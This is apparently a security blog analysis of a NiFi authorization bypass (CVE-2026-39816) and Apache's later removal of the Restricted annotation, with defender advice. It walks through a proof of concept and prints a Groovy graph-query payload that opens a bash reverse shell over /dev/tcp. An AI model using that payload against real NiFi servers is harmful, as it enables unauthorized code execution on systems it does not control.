Apache NiFi shipped the patch for CVE-2026-39816 on April 6, 2026: @Restricted(requiredPermission = RequiredPermission.EXECUTE_CODE) added to TinkerpopClientService, eleven lines, one file. The release containing it, NiFi 2.9.0, went out four days later and the Apache advisory names it as the recommended upgrade. On April 16, ten days after the CVE fix, commit 638b225c landed on main with the title "NIFI-15847 Removed Restricted Annotation from Components." It removed @Restricted from every Processor and Controller Service in the codebase. Including the one Apache had just added it to. The release that carries the fix is the last release in which the mechanism the fix uses will exist.
CVE-2026-39816: Apache NiFi Patched One Annotation. Ten Days Later, Apache Removed the Mechanism.
patterns
cve
proof of concept
EXECUTE_CODE was a class annotation
NiFi's authorization model has a permission named EXECUTE_CODE. An operator running fine-grained authorization can grant it to some users and deny it to others. The expected behavior, the behavior the advisory leans on, is that a user without EXECUTE_CODE cannot configure a component that runs arbitrary code in the NiFi JVM.
The enforcement is one method in the framework's authorization layer, RestrictedComponentsAuthorizableFactory.getRestrictedComponentsAuthorizable(Class<?>):
public static Set<Authorizable> getRestrictedComponentsAuthorizable(
final Class<?> configurableComponentClass) {
final Set<Authorizable> authorizables = new HashSet<>();
final Restricted restricted = configurableComponentClass.getAnnotation(Restricted.class);
if (restricted != null) {
final Restriction[] restrictions = restricted.restrictions();
if (restrictions != null && restrictions.length > 0) {
Arrays.stream(restrictions).forEach(restriction ->
authorizables.add(getRestrictedComponentsAuthorizable(restriction.requiredPermission())));
} else {
authorizables.add(getRestrictedComponentsAuthorizable());
}
}
return authorizables;
}The method reads @Restricted off the component's class. If the annotation is present, the framework requires the named RequiredPermission. If it is absent, the method returns an empty set, and the component is treated as ordinary. There is no second source of truth. There is no list of "code-executing components" the framework maintains independently. There is no analysis pass that looks for GroovyShell.parse() or Compilable.compile() and marks the classes that reach them. EXECUTE_CODE is whichever components have written @Restricted(requiredPermission = RequiredPermission.EXECUTE_CODE) at the top of the class. Forget the tag and the framework has nothing else to consult.
In NiFi 2.8.0, sixteen components carry the tag. They live across four bundles: nifi-scripting-bundle (eleven processors and services that run JavaScript, Groovy, Python, Lua, Clojure), nifi-groovyx-bundle (the dedicated Groovy processor), nifi-jolt-bundle (two record transforms that compile expressions), and nifi-standard-bundle (ExecuteProcess, ExecuteStreamCommand). Sixteen is the canonical count.
The graph bundle is the seventeenth code path that compiles and runs Groovy in the NiFi JVM. It never imported the annotation.
What the PoC does, and what ExecuteScript does first
ZeroPath's PoC in pocs/flow_designer_groovy_rce.py authenticates as a user named flow_designer, configured with read and write on the root process group and on /controller, no /restricted-components/execute-code. The PoC's second step asks the API for the processor catalog and prints two lines:
[*] ExecuteGraphQuery restricted = False
[*] ExecuteScript restricted = TrueStep three is the control: the PoC tries to create an ExecuteScript processor. The framework consults getRestrictedComponentsAuthorizable(ExecuteScript.class), reads the annotation, requires EXECUTE_CODE, the user does not have it, and the API returns HTTP 403. The gate is working as designed. The PoC logs the denial and continues.
Step five creates a TinkerpopClientService in ByteCode Submission mode. The framework consults getRestrictedComponentsAuthorizable(TinkerpopClientService.class), reads no annotation, returns an empty set, requires no additional permission. The service is created. The user enables it. The framework requires no EXECUTE_CODE.
Step six creates an ExecuteGraphQuery processor pointing at the service, with the Graph Query property set to:
["bash", "-c", "bash -i >& /dev/tcp/host.docker.internal/9998 0>&1"].execute()
def result = new HashMap()
result.put("shell", "spawned")
resultStep seven starts the processor. TinkerpopClientService.bytecodeSubmission(String s, ...) calls groovyShell.parse(s) on line 463 and compiled.run() on line 477. The Groovy List literal's execute() calls ProcessBuilder.start(), the child process detaches, the reverse shell connects back. The PoC upgrades the connect-back to a PTY-backed bash via util-linux script and forwards stdio.
The exploit primitive is one HTTP API call sequence against a NiFi server with the graph bundle installed and a flow-designer-grade user. The EXECUTE_CODE permission's only function is to refuse the user creating ExecuteScript. It refuses correctly. The same user creates a graph processor in the next request and runs the same Groovy.
The graph bundle was the divergent module
The Apache NVD description says "the optional extension component TinkerpopClientService is missing the Restricted annotation with the Execute Code Required Permission in Apache NiFi 2.0.0-M1 through 2.8.0." CWE-862. Missing Authorization. The framing makes the bug sound like an oversight at one class.
The framing is true at the granularity of the patch and false at the granularity of the codebase. TinkerpopClientService is one of three code-executing surfaces in nifi-extension-bundles/nifi-graph-bundle/. ExecuteGraphQuery reads the Graph Query property and passes it to the configured TinkerpopClientService. ExecuteGraphQueryRecord reads the Graph Record Script property and passes it to the same service. The service compiles the Groovy. The processors fire it. None of the three carry @Restricted.
The canonical sixteen do. ExecuteScript carries it. ExecuteGroovyScript carries it. InvokeScriptedProcessor carries it. JoltTransformJSON carries it because the Jolt transform language can be Groovy. ExecuteProcess carries it because spawning OS processes is the threat the permission exists to gate. The graph bundle reaches the same Groovy compile-and-execute primitive through GroovyShell and is in the same authorization model and the same monorepo, and the bundle's author never wrote the line.
This is the same shape as CVE-2026-40858 in Apache Camel: one vendor, one monorepo, the same five-line security control needed in nine independent component modules, copied in over twenty-seven months because no shared utility tied the modules together. It is the same shape as CVE-2026-42203 in LiteLLM: one library imported, hardened in the canonical module, imported plain in four sibling modules that landed after the hardening. The gate exists. The canonical implementations enforce it. The divergent module ships without it because the gate is the kind of thing every implementer has to remember on their own.
This is the parallel-implementation-gap pattern. Apache NiFi's graph bundle is the divergent module. The CVE names the divergent module. The CVE does not name the mechanism that allows the divergent module to be divergent.
NIFI-15847: the annotation, removed
Ten days after Pierre Villard merged NIFI-15800 with the CVE fix, the same maintainer merged commit 638b225c from exceptionfactory, titled "NIFI-15847 Removed Restricted Annotation from Components." The diff removes @Restricted from sixty-one component classes. Sixty-one is approximate; the PR description does not enumerate. The diff touches TinkerpopClientService (the class that just received the annotation on April 6), ExecuteScript, ExecuteGroovyScript, InvokeScriptedProcessor, every component in the scripting bundle, the Jolt processors, the Hadoop processors, the JMS processors, the AWS and GCP credential providers, the Kerberos services, ExecuteProcess, ExecuteStreamCommand, the parameter providers, the record services. The Developer Guide is updated to say The Restricted class annotation has been removed and that NiFi no longer treats components as a separate "restricted" category for authorization based on this annotation.
The motivating JIRA, NIFI-15846, frames the removal flat: "Following removal of framework authorization for Restricted components with Required Permissions, all component classes should be updated to remove the Restricted annotation." The change is part of NIP-24, a NiFi Improvement Proposal whose title is "Removal of Restricted Component Authorization." Apache's conclusion, reached in the same release cycle as the CVE fix, was that the mechanism the CVE fix uses is not maintainable. Authorization based on a class-level annotation that every component author has to remember to write is an opt-in security boundary, and one missed opt-in is one CVE. NiFi 2.8.0 missed three opt-ins in one bundle for two years.
The 2.9.0 release fixed TinkerpopClientService by writing the annotation. The 2.10.0 branch fixes the class by retiring the framework code that reads the annotation. The CVE record says "upgrade to 2.9.0." The next major version will not enforce what 2.9.0 added.
NIP-24's replacement is the standard component-edit authorization. Configuring a Controller Service or Processor will require the operator's standard read and write permission on the container, with no separate EXECUTE_CODE category. An operator who wants to deny code execution will deny the standard permissions on the components they consider sensitive. The deny list moves out of the source tree and into the policy database, where it can be audited as data rather than recompiled as code.
This is the unpatchable-primitive shape applied to a security mechanism rather than to a primitive itself. The mechanism, class.getAnnotation(Restricted.class), does what it does correctly. The bug class is not the implementation; the bug class is "an annotation every component author has to remember." Patches close instances. The next code-executing component a bundle author writes without the tag is the next CVE, until the tag is no longer the gate. Apache's response is to remove the gate. Some designs do not have bugs. Some designs are the bug.
What a defender does this week
Run EXECUTE_CODE denials in 2.9.0 if you are running NiFi 2.9.0 with the graph bundle. The annotation is enforced in 2.9.0. The release notes are not wrong. Plan the migration knowing that 2.10.0 will reorganize the authorization model: EXECUTE_CODE will not gate anything specific, because no component will declare it, because no component class will be tagged. The defenses you write against 2.9.0 are not the defenses you carry forward.
Before 2.10.0, audit every Controller Service and Processor your NiFi instances expose. The graph bundle was the bundle that missed the tag this time. It is the bundle the security advisory names. It is not necessarily the only bundle with a code-executing component the canonical sixteen did not enumerate. The 2.8.0 audit that would have found TinkerpopClientService is the audit that finds whichever component the 2.8.x catalog has now that the canonical scripting team did not write. Search for GroovyShell, JavaScriptEngine, Compilable, ProcessBuilder, Runtime.exec. The graph bundle's three classes are the seventeenth, eighteenth, and nineteenth code-executing surfaces in a project whose canonical authorization metadata names sixteen.
After 2.10.0, the question changes shape. The components that run code will not advertise themselves. The components that read filesystems will not advertise themselves. The user who can create a processor and configure a controller service is the user who can do whatever any processor or controller service can do. Authorization for code execution becomes authorization for processor creation. The defense pivots to writing tighter component-create policies, restricting which NARs are loaded, and treating the NAR autoload directory as part of the trust boundary it had not previously been.
The CVE record says the annotation was missing. The next NiFi release says the annotation was the bug.